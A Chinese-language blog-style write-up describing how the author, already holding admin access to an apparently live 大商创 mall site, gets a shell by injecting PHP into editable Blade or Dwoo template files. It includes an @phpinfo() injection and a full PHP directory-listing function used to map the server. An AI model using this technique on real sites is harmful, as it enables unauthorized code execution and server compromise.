记一次划水测试
背景
已经进了后台
从前台来看,目标站点是大商创
下载了源码,但是存在swoole_loader
加密,暂时不会分析
遂直接从目标站黑盒测试
模板编辑
在模板->
库项目管理处,可以编辑模板文件

这个是大商创的2.0
版本,和我下载的版本还是有很明显的差别的
下面是我下载的2.3
版本的模板文件

由于2.3
版本是基于laravel
框架的
所以采用的是 Blade 模板引擎
这种获取shell
也很简单
直接在第一行添加php
代码即可比如@phpinfo()
,不需要分号
但是目标站很明显不是
经过查找,发现目标站属于dwoo
模板引擎
其示例代码如下
1
| <!DOCTYPE html><html> <head> <title>My Webpage</title> </head> <body> <ul id="navigation"> {foreach $navigation item} <li><a href="{$item.href}">{$item.caption}</a></li> {/foreach} </ul> <h1>My Webpage</h1> {$a_variable} </body></html>
|
如下代码的if
处是经过eval
进行处理的
1 2 3 4 5 6 7 8 9 10 11 12
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<div class="banner brand-banner" style="background:{$ad.link_color};"> <div class="w w1200 relative"> <div class="brand-banner-wp"> <a href="{$ad.ad_link}" target="_blank"><img src="{$ad.ad_code}" width="{$ad.ad_width}" height="{$ad.ad_height}"></a> </div> </div> </div>
|
所以一直纠结到底怎么构造
后来,直接试了一下不构造
直接在最上面插入
接下来就是找,什么地方渲染了此模板
经过一番查找,在brand.php

接下来就是找目录,因为自己在测试的时候不知道这个版本的情况
最新版的就是public
目录下,导致一直失败
最后,迫不得已,去列了一下目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| function listDirTree( $dirName = null ) { if( empty( $dirName ) ) { exit( "IBFileSystem: directory is empty." ); }else{ if( is_dir( $dirName ) ) { if( $dh = opendir( $dirName ) ) { $tree = array(); while( ( $file = readdir( $dh ) ) !== false ) { if( $file != "." && $file != ".." ) { $filePath = $dirName . "/" . $file; if( is_dir( $filePath ) ) { echo $filePath; echo "<br>"; $tree[$file] = listDirTree( $filePath ); } else { echo $file; echo "<br>"; $tree[] = $file; } } } closedir( $dh ); } else { exit( "IBFileSystem: can not open directory $dirName."); } return $tree; } else { exit( "IBFileSystem: $dirName is not a directory."); } } } listDirTree(".");
|
成功获取到目标站的shell

end